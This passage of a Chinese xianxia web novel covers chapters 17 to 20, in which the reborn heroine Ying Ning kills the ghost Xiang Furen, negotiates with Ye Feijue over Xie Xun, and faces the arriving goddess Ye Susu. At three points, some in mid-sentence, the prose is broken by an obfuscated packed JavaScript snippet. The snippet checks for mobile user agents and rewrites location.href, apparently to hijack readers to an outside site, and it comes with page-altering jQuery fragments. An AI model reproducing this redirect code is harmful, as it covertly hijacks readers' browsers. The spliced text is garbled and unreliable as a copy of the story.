应宁双手握拳,竭力收拢难容,催动魔气,又在红线上添了一把金红色的真火。 “啊——!” 湘夫人发出痛苦的嘶吼,显然被真火伤到了鬼身。 “这样不行,”南门春立刻道,“她的鬼力比你强太多,马上就会挣脱,我必须要带你走了。” 应宁却同样露出狞笑,竭力撑到了最后一秒。 湘夫人挣脱的瞬间,魔气卷着真火袭来,正要给应宁以致命一击。 南门春从一侧向应宁伸出手,想要揽住她肩膀,强行带她离去。 应宁则抛出了一朵纯黑的梨花。 这一瞬,黑风卷着烈火直冲天际,整个三层发出一声巨响,房顶和墙壁全被炸飞出去。 无相兰舟的隐匿阵法也一瞬轰塌,真身显露在了湖中心,哪是什么漂浮不定、随遇而安的大船?不过是个无处可逃的小岛而已。 · 魔气笼罩着整个无相兰舟。 狂风散去后,所有人都听见了湘夫人的怒吼。 “应有语,你敢在我的道场作乱,也要看看你够不够本事!” 整座岛的人都向三层看去。 只见湘夫人飘在半空,长发披散,面白如纸,七窍流着鲜血,俨然已暴露出了鬼身法相。 而应宁也不甘示弱,同样是长发披散,面白如纸,脸颊和红衣上都沾满鲜血,还狂笑出声,跟个鬼身也无太大区别。 “湘夫人。” 应宁对她朗声回话,却回首向下环顾兰舟众人。 “十二年前,我应有语从人间来到仙界,就给云中都护府定下了三条铁律,一不能赌,二不能嫖,三不能私自械斗,如今你三犯其二,罪无可恕。” 兰舟底众人纷纷惊呼。 “是瀛洲玉雨!” “她穿红衣,怎么会是瀛洲玉雨?” “她已承认自己是应有语了,其他人何必管这船凡人的闲事?” “是了,除了应有语,也不会有人上赶着来趟这趟浑水……” 还有人注意到了女装扮相的南门春,惊疑不定地乱猜测。 “刚才是谁在说话,是那个白衣美女吗?” “对,她就是应有语!” 二层,叶飞绝才回房间,又闪身出来了,面色阴晴不定,看向三层,在南门春、应宁与应宁手中的难容之间来回打量。 一层,谢晨已惊得下巴掉地,呆呆望着那两人。 底层,那怀着孕的女宾震惊不已,看着应宁的背影,失声呢喃:“怎会是她……” 应宁不敢分神,一边握紧难容,与湘夫人相持,一边继续朗声道:“你的伥鬼法相在阳关、萍水拐卖少女,诱骗香火,我前日里已查明真相,将其制伏,并将违令者尽数斩杀,捣毁其香火,小惩大诫,怎知你将人间二镇上未成形的女婴偷渡到仙界,还想用这些生魂给谢寻陪葬,今日我必不饶你!” 她就是要将一桩桩、一件件的真相,全部剖给人知。 说着,她右手一甩,将方才偷拿出来的金杯直接甩在了二层地上。 恰好就落在叶飞绝脚下。 叶飞绝却只看着她们,眯起双眼,就是不出手。 众人在惊慌之余,已经信了大半。 “穿红衣的那个,才是应有语。” “她说的是真是假,如果只是在栽赃湘夫人呢?” “这金杯装的就是子母河水,她若是说谎,怎么解释这兰舟上的女婴?” “可阳关死了那么多人,说没就没了,死无对证,她说违令就真是违令吗?这种心狠手辣的女人,说话怎么能信?” “她说的没错,阳关确实是个吃人的窝点,”却有人喊道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655902|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我知道,阳关和萍水这些年失踪了好些女人,仙界还有好几个去除魔结果死在那里的仙者!” “还管什么阳关的对错啊!湘夫人想让我们所有人给谢寻陪葬,应有语却是想杀了她、交谢寻、救我们,该信谁还用说吗!” 凡人愚蠢吗?百姓愚蠢吗?众生不配吗? 不。 应宁始终相信,百姓不愚,众生值得。 他们只是想活下去。 先前,湘夫人有言,这里是她的道场,她确实占尽天时地利人和,但同时,这也是她的毙命之所,只因她要为谢寻一个,抛弃这一船人,抛弃她的香火。 那么现在,这里,又是谁的道场? 湘夫人终于反应过来,可为时已晚,失去了整船人的信仰,她身上的鬼力如放了气的灯笼般迅速瘪了下去,难容却将这些香火尽数吸收。 她的魔气一失,应宁出手就比她更快,难容甩翻了她的香案,将她牢牢按死在了牡丹绣像上。 “你不爱惜兰舟上的人,我替你爱惜,”应宁最终道,“你且安心地去吧,我向你保证,这一船人,一个都死不了。” 这一切,都令南门春始料不及。 “我不信!我不信你!”湘夫人发出最后的嘶吼,却只说了一半的话,“你赢不过它……” 应宁不知道她说的这个“它”,指的是谁,但这不重要。 掌心的骰子上,浮现出了第三枚黑点。 至此,她终于收服了阿湘的三个鬼身…… 应宁不动声色地攥紧那骰子,将它收回了乾坤袋中,回首看向南门春,只见他眉头紧皱,用扇子按住胸口,向后撤了一步。 竟有些站不住了。 痛,是一种可以习惯的东西,作为一个天生的药罐子,应宁身上从小痛到八岁,深知这个道理。 南门春刚收用她的痛觉时,承受不住,甚至发个烧、痛个经就走不动路,都是因为他此前从未有过这种感受,但经历过了,渐渐就能习惯,方才再受抓伤的剧痛,也不是不能忍了。 怎么偏偏就现在,突然又站不稳了呢? 应宁的猜测再次被证实了—— 他确实不是不想出手,而是不能出手。 天道实力了得,通天彻地只能,难道就毫无限制吗?毁天灭地任由他造作吗? 湘夫人一死,兰舟再无人能袒护谢寻,这是否,也是一种逆天之举呢? 天道一旦被违背,那么天道还是天道吗? 上辈子,应宁曾无数次想问,苍天当真有眼吗? 她始终记得,自己最大的敌人是谁,湘夫人口中的它,不管是书里的女主角叶肃肃,还是男主角谢寻,还是别的什么人,这些都不是最难对付的。 应宁最处心积虑,最想要杀掉的敌人,其实正是天道。 “怎么?”她几乎控制不住笑意,柔声问南门春道,“你受伤了吗?” 如果逆天而为,就能灭了这天道,那对于应宁而言,这就简直是一件再顺手不过的事了。 就连那假的叶飞绝,都不禁为她鼓了三声掌,连道:“精彩,精彩。” 应宁抬头看着她。 “瀛洲玉雨,”叶飞绝也对她一笑,道,“我和兰舟还有一笔生意没有谈完,如今既然换你入主兰舟了,那我们借一步说话?” 18. 第 18 章 兰舟内刚死过人,又被拆了一层,此时无论男女,俱是哭天抢地,挤破头想下船的。 叶飞绝又说起谈生意的事,更加动摇人心。 应宁却抬起双手,向下按了按,继续朗声道:“诸位放心,我应有语在此,以我身家性命和难容起誓,兰舟不会出事,我绝不会用你们去换谢寻一人!” 女人们的哭声于是陆陆续续止住了,只剩下男宾们叫嚷着: “我要下船……” “放我们离岛!” “阿蛮,”应宁给阿蛮使了一个眼色,仰了下头道,“别哭了,去给他们准备小船,送客人离岛。” 湘夫人一死,阿蛮从震惊到悲痛,已满脸是泪,本来恨透了应宁。 可她偏偏又是个极识时务的人,闻言只能藏起满心愤恨与疑虑,先指挥手下去放画舫。 叶飞绝自顾自走在前头,迈入开阔的房内,站在一片狼藉之中,低头看着原本窗边的梳妆台。 一盏茶的功夫以前,湘夫人还坐在这里梳头发。 “别乱动。” 应宁甩出难容,从满地破烂里拽出了一面小梳妆镜,提醒她道:“兰舟现在是我的地盘了,我确实还打不过你,但你也杀不了我,敢硬碰硬,我们就比比看谁的命更硬。” 如果想现在就对付叶飞绝,应宁确实没有能赢的主意,但她看得很清楚,叶飞绝目的明确,并不在乎兰舟的人死活,杀湘夫人,对她而言是“帮”不是“阻”。 有这个信心,应宁才能对兰舟上人夸下海口。 果然,叶飞绝没有动作,笑得吊儿郎当,抬起双手示意投降,道:“殿下真是好生霸道,不会还记恨着我上辈子的仇吧?” 上辈子…… 这三个字又出现了。 南门春仔细听着,换左手扶住胸口,右手执扇一落,由清风送来数条散落的红绡,给整个三层撑起了一个简陋的帐篷,将这二人的话音隔绝在内。 叶飞绝又用剑柄一点南门春,调笑道:“殿下如今班师回朝,又添了这么个贤内助,我怎敢造次?” 应宁不屑道:“怎么?我还要谢谢你看了他的面子?” “呵呵,”叶飞绝颇有些阴阳怪气,假意恭敬道,“不敢不敢,自然是看殿下面子,我还是那一句话,交出谢寻,别无他求。” 她低着头,抬眼看向应宁,眼神带着戏谑。 南门春不通人情世故,听得一头雾水。 就算这个叶飞绝是假的,应宁也拿走了她原身的独天下春、明镜与雨霖铃三样东西,又当着她的面杀了湘夫人,把金杯抛在她脚下,那句“保你兰舟一日沉一层,直到所有人全部填湖为止”,也直接被应宁当众一语驳回,可她却非但不动怒,还对应宁礼遇有加? 应宁也好整以暇,对着手中妆镜吹了吹灰,才道:“如果我说,谢寻根本就不在这岛上呢?你上辈子也找过他?结果如何?” 那妆镜与叶飞绝房中的大小相似,但不是圆形的木质梅花镜框,而是长方的金属镜框,被吹拂去灰尘与魔气后,才显现出覆满铜锈的杭菊浮雕。 南门春隔空以灵力探去,发现这竟然又是一面明镜! 梅花框的明镜,可以用独天下春展开,那么这个杭菊框的镜子,明显就是要百花杀做钥匙了。 叶飞绝是冬社的人,她手里的镜子,应该是神女叶肃肃的。 湘夫人听着像是谢寻的养母,那她的镜子无疑属于谢寻。 南门春虽然自称天道,现在看这情况却越来越觉扑朔迷离,似乎湘夫人、叶飞绝和应宁这三个鬼修都活过两辈子,对身前身后事知道得一清二楚,而他这个天道却一无所知。 重生…… 怎么会发生这样的事? 叶飞绝也不避讳南门春,只咧嘴一笑道:“谢寻在不在这座岛上不重要,重要的是这岛上若不死人,他绝不肯出来。上辈子嘛,这船沉了一层的人,他才出来,可惜我时间不够,没能把他杀了,这一次……” 她说到这里,伸出鲜红的舌尖,舔了一圈上唇。 此间鬼气之阴森,连南门春都感受到了。 “我只能给殿下一天时间了,”叶飞绝“嘿嘿”笑了两声,道,“独天下春、明镜、雨霖铃,都随你拿去,我不在乎,但谢寻…… “我杀定了。” 说到最后,她语气从轻松愉快陡然变作无比阴狠,眼神冰冷彻骨,如同在谈一个已死之人。 南门春终于看懂了。 这一套先礼后兵,格外诡谲,远比湘夫人更“鬼”。 一个半步化神的修士,成鬼后,鬼力与生前实力相当,用不着像湘夫人那样,四处寻觅香火,这就叫仙、凡有别。 阿湘毕竟是凡人,即使死后修成鬼身,算是筑基了,又回到仙界,修成湘夫人的鬼相,用尽办法,搜刮无数仙者香火,最终也不过是金丹期以上的实力,这就是卡在了天赋上,没有仙缘就是无法强求。 而叶飞绝呢? 她生前就冬社执事,神女还未长大,她就是冬社的第一人。 冬社以冰、霜、雪等灵根闻名,各个都是强劲的异灵根,叶飞绝是上品双灵根修士,极为罕见,一冰一霜,本就带着寒气,如今入了鬼道,白衣胜雪,缠着黑雾,周身唯剩黑白两色,死气沉沉,简直比南门春还冷。 不过应宁毫无畏惧,盯住叶飞绝,手中捏着那镜框底边,向上抛了一下,接住,还玩味地笑了起来。 之前她与南门春谈起这个“叶飞绝”,都说是“假的”,以为她真身已死,可现在看来,若非是真的,怎能有这种实力?反倒是当初死的那个,更像假的。 “叶飞绝,”应宁笑道,“三界尊称你一声霜妃子,我早就久仰你的大名了。” 叶飞绝警惕起来,挑眉道:“嗯?” “师妹拜入夏社之前,一直在冬社学艺,你算是她半个师父,我听她说起过你,实力着实了得,”应宁笑问,“不过怎么……会死在一只伥鬼手下呢?” 叶飞绝顿时变了脸色。 她剑未出鞘,冰霜就已霎时覆满红绡,将整个三层染成霜白。 “应有语,”叶飞绝突然收起了之前的全部客套,面色阴冷道,“你话太多了,是否我给了你太大面子?” 阴气之重,连南门春都紧张了起来。 他虽然不怕任何人,但深知应宁还发着烧,怕她冻死,连忙幻化出一条厚厚黑裘,为应宁披在身上,遮住背后的伤口。 “你很给我面子吗?” 应宁笑着摇了摇头。 叶飞绝生前死得蹊跷,应宁只能倒推出一点原因。 从结果上看,叶飞绝若不死,阿湘无法修成正果,而且她不死,就可能拿走神武,这不符书中“天意”。 更何况《我死遁后,阴湿魔君火葬场了》是本爱情故事,除了男女主外,有名有姓的不是恶毒女配,就是痴情男配,叶飞绝实力再强,也是“长老”型的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680497|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,哪来的戏份能分给这种小角色? 一人身兼数职,霜妃子如此,湘夫人也是如此,唯有鬼修有此便利,能胜此殊荣啊。 应宁不禁又笑了会,才道:“而且我可没有你话多。” 上辈子在四社会审时,叶飞绝嫁祸应宁的台词,着实生动。 …… “你窃取独天下春,就是窃取了神女命数,这是一罪!” “神君爱的,是当初救过他的人。神君只知那是身怀寒梅之人,你让神君误以为此人是你,欺骗了神君的爱,这是二罪!” “你不止嫉妒神女的容颜比你貌美得多、实力比你强得多,你其实也不爱神君,因为你并不尊重他自己的选择,否认磕他对神女的爱,所以你真正爱的,只有你自己,这是三罪!” …… 这三桩罪状,听得应宁是目瞪口呆。 这是霜妃子会说出口的话吗? 为了骗取谁对谁的爱? 好稀罕吗? 应宁活了二十年,之前听过的责备,不是“实力难承天命”、就是“病体难登帝位”,这还是第一次听说什么“欺骗男人的爱”、“插足别人感情”,而且还是在四社会审这样隆重的场合中! 堂堂第一仙门,汇集最强战力,居然是为了“打小三”! 而从此之后,这样“骂小三”的话,应宁居然一直听到了临死前。 起初她觉得可笑。 后来她觉得莫名其妙,很不对劲。 最后,她看着整个人间灰飞烟灭,只因为她这一个“小三”,听遍了仙魔两界的污言秽语,她才意识到哪里不对—— “小三”罪大恶极,那屠戮人间的谢寻呢? 他是男主,他入了魔,他身世悲惨,他被坏女人骗了,所以所有人畏他、惧他、恨他、甚至爱他,却唯独不审判他。 应宁记得自己死前,听到的最后一句话是:“若非应有语窃取神女命数,欺骗那魔头的感情在先,魔头怎会迁怒人界?归根到底,都是应有语这个贱人的错。” 女配插足别人感情,所以是贱人;男主屠戮人间,但他是神人。 应宁就不信,三界无一人能分青红皂白。 一定是有什么细节,被她错过了…… 果不其然,叶飞绝阴沉着脸,一句话就证实了这一点为真: “我给你扣过许多罪名不假,但我冤枉你了吗?我两世所为,只有一个目的,就是杀谢寻。” 不是天下人全都偏爱谢寻这个“男主”、疯了似的为“女主”摇旗呐喊“打小三”,而是有些人只是看似如此,借机行事。 就像她应宁一样,也一度被人当成了“男主”的疯狂追求者。 “只要你不挡在他面前,我不会动你,但若像湘夫人一样不知好歹,我们就只能拼谁的命硬了,”叶飞绝说着,也笑了起来,“你也算是吃过了爱情的苦,现在应该不至于还对谢寻情根深种吧?” 哈…… 应宁自己也笑。 她经历过的千刀万剐,叶飞绝都看在眼里,怎么不算是吃了爱情的苦呢?难怪对她如此客气。 “放心,我还没有那么能犯贱,这次不会了,”应宁轻抬下巴,点了点不远处的小船,道,“但我船上的人,我也保定了。” 那是一船的男宾,谢晨正坐在船头。 “你要逼他出来,不必非要沉兰舟吧?”应宁提议道,“谢氏,他的本家,难道不是更合适?” 19. 第 19 章 “你也算是吃过了爱情的苦,现在应该不至于还对谢寻情根深种吧?” “放心,我还没有那么能犯贱,这次不会了。” …… 这短短两句话,在南门春心中掀了万丈波澜。 应宁爱慕过谢寻? 虽然这两日里,从他到阳关找应宁、再到带应宁回云中,一路上,南门春亲眼所见,应宁的言行举止都像极了一只女鬼,但她居然会说出“犯贱”这个词,就已经足以令南门春感到震惊了,更何况这是承认了她曾因谢寻而死。 可别人提起“谢二公子”,她一点反应都没有,反倒是听到“叶肃肃”的名字时,心痛得厉害。 爱过,还为谢寻死过,会是这样的态度吗? 南门春虽然不懂什么算“爱慕之情”,但他总感觉…… 不像。 而叶飞绝却与他相反,竟继续怀疑道:“你不会还是喜欢谢寻吧?!” 应宁都笑了,道:“何出此言?” 叶飞绝直接拔剑出鞘,气氛剑拔弩张。 她腰上挂的剑鞘雪白细长,如一条白练,不很惹眼,先前已拔剑刺死一人,剑身没拿回来,现在却又给补上了,只是出鞘后却不是剑,而是一张巨大的凤首箜篌。 箜篌有半人多高,琴身通体是晶莹剔透的冰凌,没有弦,是把心弦琴,若非听说过这箜篌威名,恐怕还以为她是挽了张巨弓。 一看就是上品仙器,不知比阿湘生前的破刀好多少倍。 叶飞绝提着箜篌,竖在地上,把地板砸了个大坑,伸直手臂,按着琴首,指向不远处的小船,道: “谢氏一天都没养过谢寻,还往死了贬损他,据说他亲娘就是被谢氏逼死的,自尽在这条兰舟上,你跟我说,他会在乎谢氏的人死活?” “这我倒没听说过……” 应宁看看那箜篌,又看小船,心生疑惑。 “谢寻是我师弟,他八岁拜入夏社起,与我同窗已有十载,我从他嘴里听说过的家人,只有父系谢氏一族,母系是从不提及的。 “他父族里旁的人与他亲缘如何暂且不论,但谢晨这个大哥对他是很够意思的。” 应宁坦言道:“霜妃,我没有骗你的必要,你反正也不在乎谢氏吧,何不先试试再说?” 叶飞绝转了转眼珠。 “你严令禁止嫖、娼,谢寻当然不敢跟你提兰舟,”叶飞绝五指抡起,指尖逐一敲击在琴颈上,思忖后,道,“我确实也不在乎谢氏,但谢氏与谢寻有仇,我杀谢氏的人,岂不是等于给他报仇?” 看来叶飞绝是真的恨他。 连一丝让谢寻畅快的可能,她都不想给。 叶飞绝又道:“我看你就是还喜欢他吧!你想利用我,给他报仇!” “哈啊?” 应宁苦笑出声。 “有什么意义呢?” 应宁修长的手指一转,将杭菊铜镜上下翻转两圈,收入囊中,转出了寒梅木镜,晃晃镜面,道:“不是这镜子里的叶肃肃爱他,爱得要死要活,就代表全天下的女人都爱他,你就恨他,你应该懂啊。我想杀这一船嫖、客,就算你不动手,我也要自己动手,纯粹是因为他们犯了我的法令。” 她对自己的三条禁令,要求有多严格呢? 南门春忽而想起,谢晨曾说,应宁一到仙界,就连斩过冬、夏、秋三社的违令长老。 他不禁疑惑,应宁当时才几岁,如何办得到呢? 不过再不可能,这话也绝对是真的,因为就连叶飞绝听完后,都舔了舔唇,想了想,琴首逐渐指向了那艘小船。 “哼,我就信你一次,”她对应宁道,“当年若不是殿下杀了冬社违令的长老,也轮不到我坐上现在执事的位置,我不喜欢欠人情。” 叶飞绝说话间,手指向下轻飘飘一拨,就从天而降一船流星般的暴雪,转瞬压垮了那艘小船! 不远处,湖心已乱成了一锅粥。 “救命!” “是冬社的阵雪!” “是叶飞绝!是霜妃子出手了!” 应宁看着叶飞绝的箜篌和剑鞘。 那箜篌从剑鞘里拔出来,按说该剩个空鞘了,可居然不知何时起,鞘上又凭空补上了一只剑柄。 “霜妃的这把武器可真不错,有名字吗?”应宁问。 “蓝关,兵器谱上排名第六。”叶飞绝傲然道,“天下仙器,第一是梅梢月,第二就是我这把箜篌。” 梅梢月,是应宁的师尊,不秋仙尊的武器。 兵器谱是白老板排的,前四都是神器,馨烈侯的峥嵘剑位列第一,传芳君的难容第二,南门春的避风流第三,第四不知为何是空的,不秋仙尊的梅梢月排第五。 这是天下人尽皆知的前五名。 第六和后面的,就没人知道了,因为但凡有排名,世人能记住的都是第一位,第二都鲜有人知,这兵器谱之所以能被世人记到前五,还是因为现在稳坐三界实力第一把交椅的正是不秋仙尊。 所以应宁说了声“了不起”,叶飞绝却瞥了一眼应宁的难容,又是冷哼一声。 “不如殿下了得。” 应宁笑道:“我说得不是蓝关,而是霜妃的剑鞘,是从白老板那买的吗?” 叶飞绝脸色再次变冷,手上顿时收拨,四弦一声如裂帛。 湖心中,一船人已死得只剩一个了。 “叶飞绝!”谢晨持扇站在水面上,怒而喊道,“你冬社如此行事,只手遮天,草菅人命,就不怕遭报应吗!” 应宁替叶飞绝回道:“草菅人命?仙凡有别,谢大公子请慎言,我并没有看到霜妃子杀‘人’啊。” 谢晨被她呛得咳了一好会,扇去满身湖水与霜雪,才道:“应有语,我就知道是你在背后捣鬼。你杀了兰舟的客人,等于断了兰舟的生计,想让兰舟上的船娘以后怎么活命?” 船上的女人们议论起来。 “是啊是啊。” “以后可怎么做生意?” 有人已经互相抱在一起,小声哭了起来。 就连阿蛮都说:“殿下,这里不是人间,以后我们非得被谢氏逼死不可!” 应宁却手指一翻,又收起寒梅木镜,翻出一枚雨霖铃来,用难容一鞭甩响铃铛,将自己的话音扩散在整个湖心,道:“放心。我在哪里,哪里就是人间。有敢嫖、娼者,斩立决。” 她虽然感觉不到痛,但毕竟是在发烧,又受了伤,嗓音已抬不起来了,但她要稳住民心,一定要让众人听清。 雨霖铃一响,整句话如涟漪,一圈圈荡开在了正片“色海”上。 就连岸边的千红窟中,众多小妖怪都听见了。 白老板探出船舱,站在船头,向湖心望去,闻言化出原型,妖身乃是一只重明神鸟,模样类鸡,仰头一啼,牝鸡一唱天下白。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686829|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 恰逢长夜已去,水天相接处吐出一轮红日。 晨光弥散,也照亮了空中仙岛。 · 三界天下灵脉,主要集中在五城,各城内又总计有十二楼。 其中,人间都城,平邑,为一城。 云中都护府,府城名云丘,为一城,因地处北方,常年草木凋零枯槁,时同深秋,归秋社。 云丘上空,浮有无数仙岛,正中最大一座名瀛洲,为一城,因靠近日月辉光,城内郁郁葱葱,植被茂盛,时同正夏,归夏社, 而在瀛洲上空,还浮着一座最高的仙岛,远高于日月,名玉京,又为一城,因高处不胜寒,城中冰冷死寂,几无仙者,时同寒冬,归冬社。 天下五城,叶氏独占三城,这就是第一仙门的由来了。 玉京中,又有三座高楼,其中一座名为同梁阁,是神女的居所,阁上挂着一块匾额,上书“机月同梁”,匾额底下,放着一面全身镜,此时,叶肃肃就站在那镜前。 叶肃肃年方十六,容颜已是绝美,纤秾合度,完美得体,全身上下挑不出一丁点错来。 可奇怪的是,同样如雕塑般完美,南门春的薄唇与白纱下的桃花眼形就能让人一眼难忘,叶肃肃如此神女之姿,却竟然整张脸毫无特点,美则美矣,旁人看过后却记不住、也认不出她的样貌,好似用过什么着相道的变幻之术,抹去了本人的特征。 唯一能让人记住的,就是她额头正中,点了一朵鲜红的五瓣梅花妆。 她穿着一身长摆白裙,毫不惧寒,腰间剑柄上别了一枚金铃,看向镜中,正看得如痴如醉,也不知在看什么,略显诡异。 忽而,镜子黑了。 叶肃肃愣在镜前,伸出食指指腹,按在镜子上来回滑动,如翻页般,却怎么滑都没反应。 “不对、不对啊……” 叶肃肃喃喃自语,伸手摸向腰上的金铃,注入灵力,使劲摇晃。 “叶飞绝!叶飞绝!你在做什么?你听见我说话了吗?” 然而她刚说完这句话,就听见自己的声音从远处传来,声如洪钟,底气十足,那叫一个荡气回肠,回荡在了整个仙界: “叶飞绝!叶飞绝!你在做什么?你听见我说话了吗?” 叶肃肃大惊失色,脸色难看不已,快步走出同梁亭,向声音的来处眺望,只见今日万里晴空,不见层云,太阳已出,金丹修士耳聪目明,一眼便看到了“色海”正中间的小岛。 一个红衣人站在小岛山顶,手中拿着一枚金铃,铃铛反了下光,正巧照进叶肃肃眼中。 叶肃肃纵身一跃,踩上飞剑,直冲那声音来处飞去。 兰舟中,叶飞绝“啧”了一声,抱起箜篌就向应宁拨了一记杀声,冷冷道:“果然不该信你,把神女惹来了,你到底做何打算!” 应宁却不慌不忙地躲闪开,笑道:“先别忙着怪我,你看,你要的神君也来了。” 不远处,千红窟中,一金衣少年御剑而来,直冲湖心小船而去,挡在了谢晨身前。 与叶肃肃完全相反,这少年的五官任意一处都极其特别,保准能让记性最差、从来都分不清人脸的人也过目不忘、必能指认。 他眼形细长,眼尾上挑,冷眼也似含笑,偏又生了双笑唇,一张脸便显得分外妖艳,给人以轻佻之感,风尘味很重。 金衣衣摆上绣着杭菊,此人正是秋社执事,谢寻。 20. 第 20 章 叶肃肃会来,是因为应宁正巧摇响了铃铛。 可谢寻也真的来了,叶飞绝吃惊道:“谢寻当真在乎谢氏?” 谁知,他岂止是在乎,甚至是目眦欲裂,眼睛里的红血丝都快滴出血了。 谢寻原本天生一副狐媚的笑模样,稍微一怒起来,看着就近乎癫狂了,何况现在瞋目切齿,简直是一只马上要暴起伤人的野兽,盯着叶飞绝的眼神堪称恐怖。 就连阿蛮,也狐疑地打量着谢寻,低声骂道:“谢无妄!好你个小兔崽子,我们船上闹出两条人命,湘夫人出了这么大事,都找不见你人影,现在谢氏死了人,你才姗姗来迟?” 阿蛮双目含泪,船上的许多女人看着谢寻,也都敢怒不敢言。 毕竟湘夫人曾说,宁愿一船人同死,也不肯交出谢寻,谢寻却对此无动于衷,而现在谢氏出了事,他分分钟就赶来了。 母族养他宠他,要被灭族时他都不见人影,父族欺他辱他,他却这样护着谢晨,怎能不让人心寒? 唯有应宁,冷笑一声,早已料到现在这局面。 应宁是独生女,无兄弟姐妹,上辈子对小师弟谢寻、小师妹叶肃肃,也如待自己的亲生弟弟妹妹,可最后结果呢? 死于千刀万剐时,她回想从前,才发现自己其实并不了解谢寻。 · 另一边,叶肃肃与谢寻完全相反,从天而降后,看这情况,不知发生了什么,于是就浮在半空,向下俯视众人,状态与揽镜自怜时截然不同,双目无悲无喜,面无表情。 “神女”像一尊白玉观音雕像,只看外表,众人根本猜不到,根本看不出她会发出那样尖利的喊叫声。 有人问:“她就是神女?” 有人痴看着她,道:“她长得可真美,比应有语、叶飞绝都美,这就是天下第一美人吧。” 有人则疑惑道:“我怎么觉得,她长得毫无特点,似乎一闭眼就记不住了?殿下病弱,霜妃清冷,湘夫人柔情似水,阿蛮倔强强横,连谢寻都妖娆妩媚,可她呢?” 阿蛮则直接嘲道:“叶肃肃在人前装神明,背地里尖叫着使唤叶飞绝,一个撒泼耍蛮、恶待奴才的地主婆,哪有半点神女该有的气质?我看她岂止是比不上湘夫人,我们船上舱底的姐妹们个个都比她强!” 她说到一半时,叶肃肃就看向了她,听到她拿妓、女与自己做比时,无悲无喜的面具就迅速开裂,扭曲地死盯阿蛮,又气又恨,但似乎心有疑虑,最终还是没回话。 “大哥!” 反倒是谢寻,虽也对阿蛮的责骂心有疑虑,却自信满满,想说什么说什么,回头看向谢晨和湖心的一层雪,愤然骂了起来。 “是冬社做的?这帮无耻之徒,他们对谢氏下手了?兄弟们情况如何,有几人伤亡?” 今日局面,与上辈子完全不同,除应宁外,所有人都觉得诡异,连谢晨都没想到,暗自怪道: 怎么回事,这个便宜弟弟居然这么关心谢氏? 但谢晨犹豫片刻,还是回道:“霜妃想杀你,湘夫人想护你,却被应有语杀了。湘夫人一死,霜妃就对我们动了手,两个本家的少爷、五个远房少爷、十六个侍卫、二十个家丁,无一生还。” 原来也巧,谢氏掌管秋社多年,财力深厚,这小船上竟有一半都是谢氏的人。 “湘夫人死了?被我师姐杀了?”谢寻震惊不已,仿佛瞬间忘记了刚才震怒的精神状态,也不管谢氏死了多少人了,只看向应宁,道,“我师姐是凡人,怎么能……” 他看到了应宁手里的难容。 应宁冲他温柔一笑,道:“我在凡间调查了一桩案子,查到了她身上。” “啊——” 谢寻忽而想到了什么,痛苦嘶吼一声,拔剑指向叶肃肃。 “我师姐杀湘夫人事出有因,但你冬社为何又无故欺辱我谢氏的人?三十年河西,三十年河东,莫欺少年穷!今年春秋试剑,我要叫你冬社血债血偿!” 所有人都呆住了。 应宁“噗嗤”一声,笑了出来,但笑意不到眼底,语气也冷冷的,道:“师弟,死的是谢氏的人,又不是你,这里没人把你当做是谢氏的人,只当你是兰舟的人,谁欺辱你了?你这话前言不搭后语,是从哪学来的?” 谢寻一愣,拧眉厉声反驳道:“我姓谢,怎么不算谢氏的人?我娘虽曾帮过兰舟,却不是兰舟中人,而是出身仙界的名门仙子。纵使湘夫人曾是我的红颜知己,我却也不是兰舟的人啊!” 此言一出,一片哗然。 应宁打量着他,逐渐发现了问题…… 这个“谢寻”,对他自己身世的认知,似乎与别人所知的,都不一样。 最后,谢寻还盖棺定论,道:“湘夫人曾是我的朋友,我虽不是兰舟的人,但现在兰舟有难,若想投奔我,成为我的人,我肯定是要帮的!” 他还觉得自己很仗义呢。 兰舟中又想起一片“嘘”声。 阿蛮喊道:“滚!我们就算跟着应有语,也不会投奔你这个垃圾!” 场面一片混乱,谢寻整个人迷茫地在船上众女子间看来看去,甚至还伸手挠了头,最后目光停留在了仍扮做女相南门春身上,似乎被她容貌折服,再就没挪开过眼。 这个仪态动作……一看就不是真的谢寻。 应宁盯着他,陷入沉思。 叶肃肃很快回神,而后才清了清嗓子,沉声道:“叶飞绝,你做了什么?” 这次,她把声音绷得很紧,清新中透着一丝少女的甜,仿佛和刚才金铃里传来的尖吼不出自同一个人似的。 “装。” 阿蛮不止讨厌谢寻,似乎对叶肃肃也很有成见,毫不留情道地低声嗤笑:“私底下毫无教养,人前又夹着嗓子,大家都是女人,谁不懂呢,硬装出一副纯善的样子给谁看?” 有人憋不住也笑了,叶肃肃脸色黑如锅底。 